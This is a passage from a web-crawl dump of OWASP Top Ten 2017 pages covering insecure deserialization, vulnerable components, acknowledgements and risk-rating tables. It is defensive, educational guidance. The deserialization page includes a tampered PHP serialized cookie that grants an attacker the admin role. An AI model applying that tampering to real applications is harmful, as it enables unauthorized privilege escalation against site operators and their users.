Deserialization | OWASP Foundation", "h1": "A8:2017-Insecure Deserialization", "popis": "A8:2017-Insecure Deserialization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "A8:2017-Insecure Deserialization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | A8:2017-Insecure Deserialization | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A8:2017-Insecure Deserialization"}], "markdown": "OWASP Top Ten 2017\n\n| A8:2017-Insecure Deserialization | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/A8_2017-Unsichere_Deserialisierung) |\n| --- | --- |\n\nThreat Agents / Attack Vectors Security Weakness Impacts App. Specific Exploitability: 1 Prevalence: 2 Detectability: 2 Technical: 3 Business ? Exploitation of deserialization is somewhat difficult, as off the shelf exploits rarely work without changes or tweaks to the underlying exploit code. This issue is included in the Top 10 based on an [industry survey](https://owasp.blogspot.com/2017/08/owasp-top-10-2017-project-update.html) and not on quantifiable data.\n\nSome tools can discover deserialization flaws, but human assistance is frequently needed to validate the problem. It is expected that prevalence data for deserialization flaws will increase as tooling is developed to help identify and address it. The impact of deserialization flaws cannot be overstated. These flaws can lead to remote code execution attacks, one of the most serious attacks possible.\n\nThe business impact depends on the protection needs of the application and data.\n\n| Is the Application Vulnerable? Applications and APIs will be vulnerable if they deserialize hostile or tampered objects supplied by an attacker. This can result in two primary types of attacks:\n\n* Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization.\n\n* Typical data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.\n\nSerialization may be used in applications for:\n\n* Remote- and inter-process communication (RPC/IPC)\n\n* Wire protocols, web services, message brokers\n\n* Caching/Persistence\n\n* Databases, cache servers, file systems\n\n* HTTP cookies, HTML form parameters, API authentication tokens | How to Prevent The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types. If that is not possible, consider one of more of the following:\n\n* Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.\n\n* Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.\n\n* Isolating and running code that deserializes in low privilege environments when possible.\n\n* Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.\n\n* Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.\n\n* Monitoring deserialization, alerting if a user deserializes constantly. |\n| --- | --- |\n| Example Attack Scenarios **Scenario #1**: A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the “R00” Java object signature, and uses the Java Serial Killer tool to gain remote code execution on the application server.\n **Scenario #2**: A PHP forum uses PHP object serialization to save a “super” cookie, containing the user’s user ID, role, password hash, and other state:\n **`a:4:{i:0;i:132;i:1;s:7:\"Mallory\";i:2;s:4:\"user\";`** **`i:3;s:32:\"b6a8b3bea87fe0e05022f8f3c88bc960\";}`**\n\nAn attacker changes the serialized object to give themselves admin privileges:\n **`a:4:{i:0;i:1;i:1;s:5:\"Alice\";i:2;s:5:\"admin\";`** **`i:3;s:32:\"b6a8b3bea87fe0e05022f8f3c88bc960\";}`** | References **OWASP**\n\n* [OWASP Cheat Sheet: Deserialization](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n\n* [OWASP Proactive Controls: Validate All Inputs](/www-project-proactive-controls/v3/en/c5-validate-inputs)\n\n* [OWASP Application Security Verification Standard](/www-project-application-security-verification-standard)\n\n* [OWASP AppSecEU 2016: Surviving the Java Deserialization Apocalypse](https://speakerdeck.com/pwntester/surviving-the-java-deserialization-apocalypse)\n\n* [OWASP AppSecUSA 2017: Friday the 13th JSON Attacks](https://speakerdeck.com/pwntester/friday-the-13th-json-attacks)\n \n **External**\n\n* [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n* [Java Unmarshaller Security](https://github.com/mbechler/marshalsec)\n\n* [OWASP AppSec Cali 2015: Marshalling Pickles](http://frohoff.github.io/appseccali-marshalling-pickles/) |\n\n---", "znaku_textu": 4745, "slov": 600, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:24", "sha256": "44e87a4432a47d83ccdd0589e5fc5bc09a2a98e7e945a9441588889814046065", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://owasp.blogspot.com/2017/08/owasp-top-10-2017-project-update.html", "https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html", "https://speakerdeck.com/pwntester/surviving-the-java-deserialization-apocalypse", "https://speakerdeck.com/pwntester/friday-the-13th-json-attacks", "https://cwe.mitre.org/data/definitions/502.html", "https://github.com/mbechler/marshalsec", "http://frohoff.github.io/appseccali-marshalling-pickles/", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities.html", "titulek": "OWASP Top Ten 2017 | A9:2017-Using Components with Known Vulnerabilities | OWASP Foundation", "h1": "A9:2017-Using Components with Known Vulnerabilities", "popis": "A9:2017-Using Components with Known Vulnerabilities on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "A9:2017-Using Components with Known Vulnerabilities on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | A9:2017-Using Components with Known Vulnerabilities | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A9:2017-Using Components with Known Vulnerabilities"}], "markdown": "OWASP Top Ten 2017\n\n| A9:2017-Using Components with Known Vulnerabilities | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/A9_2017-Nutzung_von_Komponenten_mit_bekannten_Schwachstellen) |\n| --- | --- |\n\nThreat Agents / Attack Vectors Security Weakness Impacts App. Specific Exploitability: 2 Prevalence: 3 Detectability: 2 Technical: 2 Business ? While it is easy to find already-written exploits for many known vulnerabilities, other vulnerabilities require concentrated effort to develop a custom exploit. Prevalence of this issue is very widespread. Component-heavy development patterns can lead to development teams not even understanding which components they use in their application or API, much less keeping them up to date.\n\nSome scanners such as retire.js help in detection, but determining exploitability requires additional effort. While some known vulnerabilities lead to only minor impacts, some of the largest breaches to date have relied on exploiting known vulnerabilities in components. Depending on the assets you are protecting, perhaps this risk should be at the top of the list.\n\n| Is the Application Vulnerable? You are likely vulnerable:\n\n* If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.\n\n* If software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.\n\n* If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.\n\n* If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.\n\n* If software developers do not test the compatibility of updated, upgraded, or patched libraries.\n\n* If you do not secure the components’ configurations (see [A6:2017-Security Misconfiguration](A6_2017-Security_Misconfiguration)). | How to Prevent There should be a patch management process in place to:\n\n* Remove unused dependencies, unnecessary features, components, files, and documentation.\n\n* Continuously inventory the versions of both client-side and server-side components (e.g. frameworks, libraries) and their dependencies using tools like [versions](http://www.mojohaus.org/versions-maven-plugin/), [DependencyCheck](/www-project-dependency-check), [retire.js](https://github.com/retirejs/retire.js/), etc. Continuously monitor sources like [CVE](https://cve.mitre.org/) and [NVD](https://nvd.nist.gov/) for vulnerabilities in the components. Use software composition analysis tools to automate the process. Subscribe to email alerts for security vulnerabilities related to components you use.\n\n* Only obtain components from official sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component.\n\n* Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider deploying a [virtual patch](/www-community/Virtual_Patching_Best_Practices) to monitor, detect, or protect against the discovered issue.\n\nEvery organization must ensure that there is an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio. |\n| --- | --- |\n| Example Attack Scenarios **Scenario #1**: Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in component). Some example exploitable component vulnerabilities discovered are:\n\n* [CVE-2017-5638](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638), a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server, has been blamed for significant breaches.\n\n* While [internet of things (IoT)](https://en.wikipedia.org/wiki/Internet_of_things) are frequently difficult or impossible to patch, the importance of patching them can be great (e.g. biomedical devices).\n\nThere are automated tools to help attackers find unpatched or misconfigured systems. For example, the [Shodan IoT search engine](https://www.shodan.io/report/89bnfUyJ) can help you find devices that still suffer from [Heartbleed](https://en.wikipedia.org/wiki/Heartbleed) vulnerability that was patched in April 2014. | References **OWASP**\n\n* [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](/www-project-application-security-verification-standard)\n\n* [OWASP Dependency Check (for Java and .NET libraries)](/www-project-dependency-check)\n\n* [OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)\n\n* [OWASP Virtual Patching Best Practices](/www-community/Virtual_Patching_Best_Practices)\n \n **External**\n\n* [The Unfortunate Reality of Insecure Libraries](https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf)\n\n* [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cvedetails.com/version-search.php)\n\n* [National Vulnerability Database (NVD)](https://nvd.nist.gov/)\n\n* [Retire.js for detecting known vulnerable JavaScript libraries](https://github.com/retirejs/retire.js/)\n\n* [Node Libraries Security Advisories](https://nodesecurity.io/advisories)\n\n* [Ruby Libraries Security Advisory Database and Tools](https://rubysec.com/) |\n\n---", "znaku_textu": 5832, "slov": 710, "odkazu": 44, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:25", "sha256": "5d31a1408630b688d7f13a501a3d3c112c1ebb14e716990ba2c6978fe83281e7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "http://www.mojohaus.org/versions-maven-plugin/", "https://github.com/retirejs/retire.js/", "https://cve.mitre.org/", "https://nvd.nist.gov/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638", "https://en.wikipedia.org/wiki/Internet_of_things", "https://www.shodan.io/report/89bnfUyJ", "https://en.wikipedia.org/wiki/Heartbleed", "https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf", "https://www.cvedetails.com/version-search.php", "https://nodesecurity.io/advisories", "https://rubysec.com/", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Acknowledgements.html", "titulek": "OWASP Top Ten 2017 | Top 10-2017 Acknowledgements | OWASP Foundation", "h1": "Top 10-2017 Acknowledgements", "popis": "Top 10-2017 Acknowledgements on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Acknowledgements", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Top 10-2017 Acknowledgements on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Top 10-2017 Acknowledgements | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Acknowledgements.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Top 10-2017 Acknowledgements"}], "markdown": "OWASP Top Ten 2017\n\n| Top 10-2017 Acknowledgements | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Danksagung) |\n| --- | --- |\n\n| Acknowledgements to Data Contributors We’d like to thank the many organizations that contributed their vulnerability data to support the 2017 update:\n \n \n • ANCAP • ContextIS • ITsec Security Services bv • Paladion Networks • Aspect Security • Contrast Security • Khallagh • Purpletalk • AsTech Consulting • DDoS.com • Linden Lab • Secure Network • Atos • Derek Weeks • M. Limacher\n\n IT Dienstleistungen • Shape Security • Branding Brand • Easybss • SHCP • Bugcrowd • Edgescan • Micro Focus Fortify • Softtek • BUGemot • EVRY • Minded Security • Synopsis • CDAC • EZI • National Center for\n\n Cyber Security\n\n Technology • TCS • Checkmarx • Hamed • Vantage Point \n • Colegio LaSalle\n\n Monteria • Hidden • Veracode • I4 Consulting • Network Test Labs Inc. • Web.com • Company.com \n • iBLISS Seguran̤a\n\n & Inteligencia • Osampa \n\nFor the first time, all the data contributed to a Top 10 release, and the full list of contributors is [publicly available](https://github.com/OWASP/Top10/tree/master/2017/datacall/submissions). | | | | |\n| --- | --- | --- | --- | --- |\n| • ANCAP | • ContextIS | • ITsec Security Services bv | • Paladion Networks | |\n| • Aspect Security | • Contrast Security | • Khallagh | • Purpletalk | |\n| • AsTech Consulting | • DDoS.com | • Linden Lab | • Secure Network | |\n| • Atos | • Derek Weeks | • M. Limacher\n\n IT Dienstleistungen | • Shape Security | |\n| • Branding Brand | • Easybss | • SHCP | | |\n| • Bugcrowd | • Edgescan | • Micro Focus Fortify | • Softtek | |\n| • BUGemot | • EVRY | • Minded Security | • Synopsis | |\n| • CDAC | • EZI | • National Center for\n\n Cyber Security\n\n Technology | • TCS | |\n| • Checkmarx | • Hamed | • Vantage Point | | |\n| • Colegio LaSalle\n\n Monteria | • Hidden | • Veracode | | |\n| • I4 Consulting | • Network Test Labs Inc. | • Web.com | | |\n| • Company.com | • iBLISS Seguran̤a\n\n & Inteligencia | • Osampa | | |\n| | | | | |\n| Acknowledgements to Individual Contributors \n\nWe’d like to thank the individual contributors who spent many hours collectively contributing to the Top 10 in GitHub.\n \n • ak47gen • drwetter • ilatypov • neo00 • starbuck3000 • alonergan • dune73 • irbishop • nickthetait • stefanb • ameft • ecbftw • itscooper • ninedter • sumitagarwalusa • anantshri • einsweniger • ivanr • ossie-git • taprootsec • bandrzej • ekobrin • jeremylong • PauloASilva • tghosth • bchurchill • eoftedal • jhaddix • PeterMosmans • TheJambo • binarious • frohoff • jmanico • pontocom • thesp0nge • bkimminich • fzipi • joaomatosf • psiinon • toddgrotenhuis • Boberski • gebl • jrmithdobbs • pwntester • troymarshall • borischen • Gilc83 • jsteven • raesene • tsohlacol • Calico90 • gilzow • jvehent • riramar • vdbaan • chrish • global4g • katyanton • ruroot • yohgaki • clerkendweller • grnd • kerberosmansour • securestep9 • D00gs • h3xstream • koto • securitybits • davewichers • hiralph • m8urnett • SPoint42 • drkknight • HoLyVieR • mwcoates • sreenathsasikumar \n\nAnd everyone else who provided feedback via Twitter, email, and other means.\n\nWe would be remiss not to mention that Dirk Wetter, Jim Manico, and Osama Elnaggar have provided extensive assistance. Also, Chris Frohoff and Gabriel Lawrence provided invaluable support in the writing of the new [A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization) risk. | | | | |\n| • ak47gen | • drwetter | • ilatypov | • neo00 | • starbuck3000 |\n| • alonergan | • dune73 | • irbishop | • nickthetait | • stefanb |\n| • ameft | • ecbftw | • itscooper | • ninedter | • sumitagarwalusa |\n| • anantshri | • einsweniger | • ivanr | • ossie-git | • taprootsec |\n| • bandrzej | • ekobrin | • jeremylong | • PauloASilva | • tghosth |\n| • bchurchill | • eoftedal | • jhaddix | • PeterMosmans | • TheJambo |\n| • binarious | • frohoff | • jmanico | • pontocom | • thesp0nge |\n| • bkimminich | • fzipi | • joaomatosf | • psiinon | • toddgrotenhuis |\n| • Boberski | • gebl | • jrmithdobbs | • pwntester | • troymarshall |\n| • borischen | • Gilc83 | • jsteven | • raesene | • tsohlacol |\n| • Calico90 | • gilzow | • jvehent | • riramar | • vdbaan |\n| • chrish | • global4g | • katyanton | • ruroot | • yohgaki |\n| • clerkendweller | • grnd | • kerberosmansour | • securestep9 | |\n| • D00gs | • h3xstream | • koto | • securitybits | |\n| • davewichers | • hiralph | • m8urnett | • SPoint42 | |\n| • drkknight | • HoLyVieR | • mwcoates | • sreenathsasikumar | |\n\n---", "znaku_textu": 4137, "slov": 675, "odkazu": 28, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:34", "sha256": "9fdb5b51d3b11ff89e7e43135225a413bbc0a14a4fa8cfbe258a8d1eb409098d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://github.com/OWASP/Top10/tree/master/2017/datacall/submissions", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Application_Security_Risks.html", "titulek": "OWASP Top Ten 2017 | Application Security Risks | OWASP Foundation", "h1": "Application Security Risks", "popis": "Application Security Risks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Application_Security_Risks", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Application Security Risks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Application Security Risks | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Application_Security_Risks.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Application Security Risks"}], "markdown": "OWASP Top Ten 2017\n\n| Application Security Risks | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Sicherheitsrisiken_fuer_Anwendungen) |\n| --- | --- |\n\n| What are Application Security Risks? Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.\n \n \n \n\nSometimes these paths are trivial to find and exploit, and sometimes they are extremely difficult. Similarly, the harm that is caused may be of no consequence, or it may put you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine your overall risk. | | | | | |\n| --- | --- | --- | --- | --- | --- |\n| What is My Risk? The [OWASP Top 10](https://owasp.org/www-project-top-ten) focuses on identifying the most serious web application security risks for a broad array of organizations. For each of these risks, we provide generic information about likelihood and technical impact using the following simple ratings scheme, which is based on the [OWASP Risk Rating Methodology](/www-community/OWASP_Risk_Rating_Methodology).\n \n Threat Agents Exploitability Weakness\nPrevalence Weakness\nDetectability Technical\nImpacts Business\nImpacts **App. Specific** EASY: 3 WIDESPREAD: 3 EASY: 3 SEVERE: 3 **App / Business Specific** AVERAGE: 2 COMMON: 2 AVERAGE: 2 MODERATE: 2 DIFFICULT: 1 UNCOMMON: 1 DIFFICULT: 1 MINOR: 1 \n\nIn this edition, we have updated the risk rating system to assist in calculating the likelihood and impact of any given risk. For more details, please see [Note About Risks](Top_10-2017_Note_About_Risks). \n\nEach organization is unique, and so are the threat actors for that organization, their goals, and the impact of any breach. If a public interest organization uses a content management system (CMS) for public information and a health system uses that same exact CMS for sensitive health records, the threat actors and business impacts can be very different for the same software. It is critical to understand the risk to your organization based on applicable threat agents and business impacts.\n\nWhere possible, the names of the risks in the Top 10 are aligned with [Common Weakness Enumeration (CWE)](https://cwe.mitre.org/) weaknesses to promote generally accepted naming conventions and to reduce confusion. | References **OWASP**\n\n* [OWASP Risk Rating Methodology](/www-community/OWASP_Risk_Rating_Methodology)\n\n* [Article on Threat/Risk Modeling (old wiki)](https://wiki.owasp.org/index.php/Application_Threat_Modeling)\n \n **External**\n\n* [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n\n* [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n\n* [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n\n* [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n\n* [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n\n* [Microsoft Threat Modelling Tool](https://aka.ms/tmt) | | | | |\n| Threat Agents | Exploitability | Weakness\nPrevalence | Weakness\nDetectability | Technical\nImpacts | Business\nImpacts |\n| **App. Specific** | EASY: 3 | WIDESPREAD: 3 | EASY: 3 | SEVERE: 3 | **App / Business Specific** |\n| AVERAGE: 2 | COMMON: 2 | AVERAGE: 2 | MODERATE: 2 | | |\n| DIFFICULT: 1 | UNCOMMON: 1 | DIFFICULT: 1 | MINOR: 1 | | |\n\n---", "znaku_textu": 3463, "slov": 456, "odkazu": 38, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:15", "sha256": "20f0d871ed301d67eb1e986a6a46aea206933c90046991a4d137db1b7901a178", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://cwe.mitre.org/", "https://wiki.owasp.org/index.php/Application_Threat_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://aka.ms/tmt", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Details_About_Risk_Factors.html", "titulek": "OWASP Top Ten 2017 | Details About Risk Factors | OWASP Foundation", "h1": "Details About Risk Factors", "popis": "Details About Risk Factors on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Details_About_Risk_Factors", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Details About Risk Factors on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Details About Risk Factors | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Details_About_Risk_Factors.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Details About Risk Factors"}], "markdown": "OWASP Top Ten 2017\n\n| Details About Risk Factors | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Details_zu_den_Risiko-Faktoren) |\n| --- | --- |\n\n| Top 10 Risk Factor Summary The following table presents a summary of the 2017 Top 10 Application Security Risks, and the risk factors we have assigned to each risk. \nThese factors were determined based on the available statistics and the experience of the OWASP Top 10 team. \nTo understand these risks for a particular application or organization, you must consider your own specific threat agents and business impacts.\nEven severe software weaknesses may not present a serious risk if there are no threat agents in a position to perform the necessary attack or the business impact is negligible for the assets involved.\n\n \n RISK Threat Agents Attack Vectors(Exploitability) Security Weakness(Prevalence) Security Weakness(Detectability) Impacts(Technical) Impacts(Business) Score **[A1:2017-Injection](A1_2017-Injection.html)** **App. Specific** EASY: 3 COMMON: 2 EASY: 3 SEVERE: 3 **App. Specific** **8.0** **[A2:2017-Broken Authentication](A2_2017-Broken_Authentication.html)** **App. Specific** EASY: 3 COMMON: 2 AVERAGE: 2 SEVERE: 3 **App. Specific** **7.0** **[A3:2017-Sensitive Data Exposure](A3_2017-Sensitive_Data_Exposure.html)** **App. Specific** AVERAGE: 2 WIDESPREAD: 3 AVERAGE: 2 SEVERE: 3 **App. Specific** **7.0** **[A4:2017-XML External Entities (XXE)](A4_2017-XML_External_Entities_(XXE).html)** **App. Specific** AVERAGE: 2 COMMON: 2 EASY: 3 SEVERE: 3 **App. Specific** **7.0** **[A5:2017-Broken Access Control](A5_2017-Broken_Access_Control.html)** **App. Specific** AVERAGE: 2 COMMON: 2 AVERAGE: 2 SEVERE: 3 **App. Specific** **6.0** **[A6:2017-Security Misconfiguration](A6_2017-Security_Misconfiguration.html)** **App. Specific** EASY: 3 WIDESPREAD: 3 EASY: 3 MODERATE: 2 **App. Specific** **6.0** **[A7:2017-Cross-Site Scripting (XSS)](A7_2017-Cross-Site_Scripting_(XSS).html)** **App. Specific** EASY: 3 WIDESPREAD: 3 EASY: 3 MODERATE: 2 **App. Specific** **6.0** **[A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization.html)** **App. Specific** DIFFICULT: 1 COMMON: 2 AVERAGE: 2 SEVERE: 3 **App. Specific** **5.0** **[A9:2017-Using Components with Known Vulnerabilities](A9_2017-Using_Components_with_Known_Vulnerabilities.html)** **App. Specific** AVERAGE: 2 WIDESPREAD: 3 AVERAGE: 2 MODERATE: 2 **App. Specific** **4.7** **[A10:2017-Insufficient Logging & Monitoring](A10_2017-Insufficient_Logging%2526Monitoring.html)** **App. Specific** AVERAGE: 2 WIDESPREAD: 3 DIFFICULT: 1 MODERATE: 2 **App. Specific** **4.0** | | | | | | | |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| RISK | Threat Agents | Attack Vectors(Exploitability) | Security Weakness(Prevalence) | Security Weakness(Detectability) | Impacts(Technical) | Impacts(Business) | Score |\n| **[A1:2017-Injection](A1_2017-Injection.html)** | **App. Specific** | EASY: 3 | COMMON: 2 | EASY: 3 | SEVERE: 3 | **App. Specific** | **8.0** |\n| **[A2:2017-Broken Authentication](A2_2017-Broken_Authentication.html)** | **App. Specific** | EASY: 3 | COMMON: 2 | AVERAGE: 2 | SEVERE: 3 | **App. Specific** | **7.0** |\n| **[A3:2017-Sensitive Data Exposure](A3_2017-Sensitive_Data_Exposure.html)** | **App. Specific** | AVERAGE: 2 | WIDESPREAD: 3 | AVERAGE: 2 | SEVERE: 3 | **App. Specific** | **7.0** |\n| **[A4:2017-XML External Entities (XXE)](A4_2017-XML_External_Entities_(XXE).html)** | **App. Specific** | AVERAGE: 2 | COMMON: 2 | EASY: 3 | SEVERE: 3 | **App. Specific** | **7.0** |\n| **[A5:2017-Broken Access Control](A5_2017-Broken_Access_Control.html)** | **App. Specific** | AVERAGE: 2 | COMMON: 2 | AVERAGE: 2 | SEVERE: 3 | **App. Specific** | **6.0** |\n| **[A6:2017-Security Misconfiguration](A6_2017-Security_Misconfiguration.html)** | **App. Specific** | EASY: 3 | WIDESPREAD: 3 | EASY: 3 | MODERATE: 2 | **App. Specific** | **6.0** |\n| **[A7:2017-Cross-Site Scripting (XSS)](A7_2017-Cross-Site_Scripting_(XSS).html)** | **App. Specific** | EASY: 3 | WIDESPREAD: 3 | EASY: 3 | MODERATE: 2 | **App. Specific** | **6.0** |\n| **[A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization.html)** | **App. Specific** | DIFFICULT: 1 | COMMON: 2 | AVERAGE: 2 | SEVERE: 3 | **App. Specific** | **5.0** |\n| **[A9:2017-Using Components with Known Vulnerabilities](A9_2017-Using_Components_with_Known_Vulnerabilities.html)** | **App. Specific** | AVERAGE: 2 | WIDESPREAD: 3 | AVERAGE: 2 | MODERATE: 2 | **App. Specific** | **4.7** |\n| **[A10:2017-Insufficient Logging & 